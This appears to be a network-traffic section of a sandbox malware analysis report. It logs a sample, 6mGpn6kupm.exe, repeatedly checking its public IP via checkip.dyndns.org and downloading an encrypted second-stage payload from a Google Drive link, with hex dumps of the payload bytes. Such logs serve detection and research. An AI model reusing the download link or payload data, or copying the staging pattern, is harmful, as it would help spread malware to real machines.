Jan 10, 2025 21:50:25.656995058 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:26.417074919 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	50004	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:27.249675989 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:28.971643925 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	50006	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:29.926539898 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:31.359970093 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	50008	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:32.247325897 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:32.919162989 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	50010	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:33.820760965 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:34.501948118 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	50012	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:35.560878992 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:36.278785944 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	50014	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:37.355726004 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:39.054969072 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	50016	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:40.211007118 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:41.891834021 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.10	50018	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:42.823199987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:44.516010046 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	50020	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:45.474809885 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:46.175745010 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	50022	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:47.200298071 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:47.879390001 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.10	50024	132.226.247.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:52.300959110 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:53.977969885 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49967	172.217.23.110	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:32 UTC	216	OUT	GET /uc?export=download&id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 20:49:32 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 20:49:32 GMT Location: https://drive.usercontent.google.com/download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Pgpp2cezzCb2ahq6HNdcdg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49974	142.250.186.161	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:33 UTC	258	OUT	GET /download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 20:49:36 UTC	4933	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgRJtXU5LTCDdqVIxtwPhc8sgzvWjfStlEdnsIm0ofQjbtgvvRv_sHa31hi7WJ8NE2pz Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="oBxvnIWumgF65.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 10 Dec 2024 23:28:45 GMT Date: Fri, 10 Jan 2025 20:49:35 GMT Expires: Fri, 10 Jan 2025 20:49:35 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=kCha6w== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 20:49:36 UTC	4933	IN	Data Raw: 2c cb 27 0c 4e 24 1f da 59 85 a7 7a 2b ea 24 97 a2 a9 59 37 7e bf aa b5 18 54 3c e7 ac 5a cd 05 4a 7b c7 7a 6b 9f 81 61 04 0c 1a de b8 49 c3 7e ab 6b 47 c4 50 4c d3 da 58 76 b1 d7 ed 09 00 58 fb 07 b1 78 07 3a 1f 9e 7a ad 5d af e7 ea f9 73 27 cb 13 7f d5 6e 7d 60 20 04 67 9a 24 56 5d f6 40 4f 6f a3 09 78 af 81 26 26 4a 87 f7 23 d1 71 2e 06 05 36 aa f4 7c bd f0 3d 0e 93 44 b4 e2 df 7a 71 da 34 7e 16 d3 5b 19 dc 6b 4f 68 73 8d 4c e5 b3 b2 aa c7 79 38 1d 88 f5 2e 7d 4c f9 dd 57 c3 b0 9a c1 39 0a 7a c7 cf d9 cb b9 fe fb 67 60 d9 8a 1d b3 44 d1 b3 e5 eb c0 e7 28 70 d2 01 4c 1b 36 f5 ae 7b 92 44 4b dc 4d fe 6e f2 ac 2b b2 be 33 37 2e c1 0d 07 72 61 aa 76 2d 6a 76 c4 6c 91 53 52 0a 24 e6 58 01 7a bd 01 13 5d 54 35 53 29 c4 08 61 7c 92 d7 04 da d2 b2 ec d0 9a e5 Data Ascii: ,'N$Yz+$Y7~T<ZJ{zkaI~kGPLXvXx:z]s'n}` g$V]@Oox&&J#q.6\|=Dzq4~[kOhsLy8.}LW9zg`D(pL6{DKMn+37.rav-jvlSR$Xz]T5S)a\|
2025-01-10 20:49:36 UTC	4831	IN	Data Raw: f9 13 8a e0 6a d0 d7 66 18 f2 86 8e e4 ec b5 4d 96 c9 1a ad e7 29 e8 b6 e4 ea 2d 10 70 cf 7f e7 fb d6 69 5c cb 36 c9 9b 36 ad db dd cc 99 9f 25 ca 6b 91 a4 c4 f6 93 be 57 5e a6 1a d9 48 6f 41 ef 30 db 8b 9c 9e 57 f5 14 e3 ef e2 94 bd fa 0d a9 d3 70 29 78 9e c2 57 b9 e0 d5 71 88 18 6a d9 c7 81 d4 9d e0 b5 cd c6 62 aa ee 40 e7 dc 5a 28 bc 24 ef 81 1c 40 0b 5f 66 e9 c6 d6 45 ec 16 0a 1d 47 0a 5d c6 16 fc 3a 39 52 aa 22 67 c3 e8 4f 05 19 00 ad 27 4f d0 57 74 04 a1 45 e7 58 a2 fe 42 14 22 5a 36 d7 00 3f 8b 57 9a f4 a9 1f 6a a5 cc 59 5b 39 a4 d4 2b 49 17 d4 19 fa 21 2c 5e c6 bf b7 eb be f2 3d ac 8a 51 2a b6 d0 c8 a6 83 e3 22 2e ef a6 b3 46 6c 48 13 cf 0a 15 26 d5 2c 52 0a 2c ab ba 84 1a c0 f8 88 7b 60 dd 5f c5 9b f1 4b 3e 3e c0 75 f4 73 f2 fd 59 1f be 86 a3 5b Data Ascii: jfM)-pi\66%kW^HoA0Wp)xWqjb@Z($@_fEG]:9R"gO'OWtEXB"Z6?WjY[9+I!,^=Q*".FlH&,R,{`_K>>usY[
2025-01-10 20:49:36 UTC	1325	IN	Data Raw: d5 f8 7a 52 f7 4b 4b fe 2e df 1e c8 90 c8 24 28 cb 98 41 97 32 82 48 18 c7 89 52 1a 1a 7c 4a ef 19 e3 ff 8c ef fc 01 7c 02 52 27 57 82 b3 b5 81 8d 61 9b 9d b6 02 d5 38 56 f1 5f fb 50 74 cc c1 ab 90 c9 94 32 90 4e 1e be b6 9d f0 16 b6 64 c2 73 f3 6a cc 35 6a d8 8f 56 55 c4 c6 f1 79 1c 8c 16 33 27 be d4 4e 0d 15 95 6d 28 14 04 01 54 39 d6 79 9c 66 fd a1 f2 03 b0 a7 0d 70 76 6d a7 9f ae 29 d7 86 58 36 44 63 0f 09 1e ba 09 a1 ea 85 b7 c3 82 44 45 1a 3f d8 5e 42 a6 26 ab 3d ad 8c ca 97 04 1a cc 5e c7 5f 9d f2 a7 aa 5a ee 0f 0e 85 f5 31 d6 4b ad ac e2 14 f9 69 42 36 2f 2b 11 d4 cc 52 cd 44 0d 4c 85 21 3b a6 92 0d d6 fc b7 83 22 29 e7 80 34 de 1e 74 ff 92 3e 3f 68 3f 3f 96 cb 88 28 94 39 a0 5b 8b ef c4 80 b1 8a 1b 04 45 37 97 35 af b4 23 1c 78 04 3e 61 a0 7e ad Data Ascii: zRKK.$(A2HR\|J\|R'Wa8V_Pt2Ndsj5jVUy3'Nm(T9yfpvm)X6DcDE?^B&=^_Z1KiB6/+RDL!;")4t>?h??(9[E75#x>a~
2025-01-10 20:49:36 UTC	1390	IN	Data Raw: 1e 58 9e 13 83 c1 f8 8a b1 0a a9 34 54 df ce 86 39 ae 01 76 26 22 97 54 0d 93 46 28 17 c2 3a 1f 98 dc 88 41 dd 78 00 f9 03 3d e3 b3 7f d5 64 6e 64 1e 0b 67 9a 20 47 59 de 0e 4f 6f a9 89 77 af 81 22 26 58 85 df fe d1 71 24 15 00 27 af d9 ed 63 ff 2f 0c 6d d2 b8 e2 df 6f 01 61 3a 7e a8 da 4a 38 4f 68 03 a5 78 d8 34 8c c0 90 da a8 16 25 f8 e9 97 0e 1e 2d 97 a8 08 bd 90 b2 a7 19 78 23 a9 ef a1 a5 ea 63 b4 34 4a bf ff f4 e9 6a dc bf ca d9 b2 2d 3d 70 a2 a3 69 5c 01 13 bb 37 e3 e5 6e 73 05 89 c9 f2 dc 89 97 a7 41 29 38 21 7d a7 7f 7e b8 22 37 e7 81 c5 6c 90 7e 44 74 fa e6 58 0b d6 02 16 13 2d 1b ea 53 29 6e ab 44 6b ec 49 04 da f8 c0 01 c6 98 95 be 53 48 3f 60 6e 45 a2 8c 5b 82 bc c3 10 65 21 f6 20 8d 04 eb de ec c9 37 7e 7d 01 1b c3 52 c3 f1 f5 69 86 69 31 a5 Data Ascii: X4T9v&"TF(:Ax=dndg GYOow"&Xq$'c/moa:~J8Ohx4%-x#c4Jj-=pi\7nsA)8!}~"7l~DtX-S)nDkISH?`nE[e! 7~}Rii1
2025-01-10 20:49:36 UTC	1390	IN	Data Raw: 17 7f 45 c0 5c 51 af 1b cd b0 46 93 52 a7 d6 39 8d e0 c6 d6 6d b8 7b ee 20 36 55 96 67 69 71 45 bc b8 ed 6c 78 31 60 cb bf aa 4a 01 ab 6c 15 91 66 59 c8 9a 53 e5 da 09 f0 e3 f3 35 75 50 14 8e cf ee 3c b9 59 61 90 c3 2d 0b 2b d8 51 0b 64 e6 98 d7 37 c3 1a c8 62 2c f6 1d 68 a2 1d 10 4a 08 b8 0e cd c9 9b e5 1a 05 ff 9e 38 b4 c7 73 51 39 86 e4 9b ab 5a ed 20 2d 7c 24 c7 e4 a5 0e 31 db d7 ba 7a d5 56 a8 1e 9e 89 ac 93 b1 a5 c3 dc 13 6a 4f 6c d7 1a 5f bd d1 d2 63 58 7d da 54 02 71 7e 56 8f f1 87 24 c9 eb 77 a0 35 f9 07 b1 82 0a e1 73 ca 4d d3 f3 5d 76 24 33 5c 89 59 f8 0f 99 fc 7c a3 4d 7b 09 e5 b2 7e ed fa bd d2 e9 b5 8e bc f3 32 f3 2e a3 58 2d 10 70 dc 1e e4 e5 c4 72 5c 85 36 c9 9b 1e 3d d7 dd cf a6 8e 5e 47 6f 91 d4 dd d6 5e 76 36 f9 94 29 a9 27 96 52 eb 3a Data Ascii: E\QFR9m{ 6UgiqElx1`JlfYS5uP<Ya-+Qd7b,hJ8sQ9Z -\|$1zVjOl_cX}Tq~V$w5sM]v$3\Y\|M{~2.X-pr\6=^Go^v6)'R:
2025-01-10 20:49:36 UTC	1390	IN	Data Raw: 33 ab c7 9e db b0 f4 c6 53 ac ee 52 95 50 5a 19 b6 37 f8 90 18 4c dd 44 66 9d 9d 15 45 ec 16 6e 85 ca 53 57 c6 06 f6 52 9e aa aa 28 13 f4 16 4e 0c 7f 83 a8 36 40 fc 4f 66 3f 34 45 df 8f d0 8e 49 14 20 90 1b d7 70 27 97 93 9a f4 a9 30 05 5f cc 53 3e 83 5f d4 21 43 15 d4 7a f8 49 d0 2e b8 a8 a4 e3 91 c3 be af e5 5f 02 f1 da e0 96 ec 70 28 3d ec b7 c4 20 f1 48 17 bd 8d 1f 37 d5 50 a8 1b 2a ce 3c 8f 0b c1 fa 83 05 fa f1 46 de 91 e0 95 3e 3e ce 11 0c 8c f2 f7 40 78 c0 9c a3 51 85 19 1a 5e b3 17 eb 95 b5 33 63 57 1b 0f 51 5a a3 da 2f bd d6 aa d0 54 69 e2 73 ba 23 fe 02 32 f9 00 28 4a bf d7 dd 08 26 61 e8 50 42 40 63 eb f1 d6 14 fd 74 cf 7e 84 04 ca 8f 6b 45 2d 43 9c 7f 49 4f 07 37 02 7b 3f ed f5 d8 33 96 0f 6e 36 ff f2 fd 72 b4 91 cf 9b ee be 55 77 21 a3 1a 22 Data Ascii: 3SRPZ7LDfEnSWR(N6@Of?4EI p'0_S>_!CzI._p(= H7P*<F>>@xQ^3cWQZ/Tis#2(J&aPB@ct~kE-CIO7{?3n6rUw!"
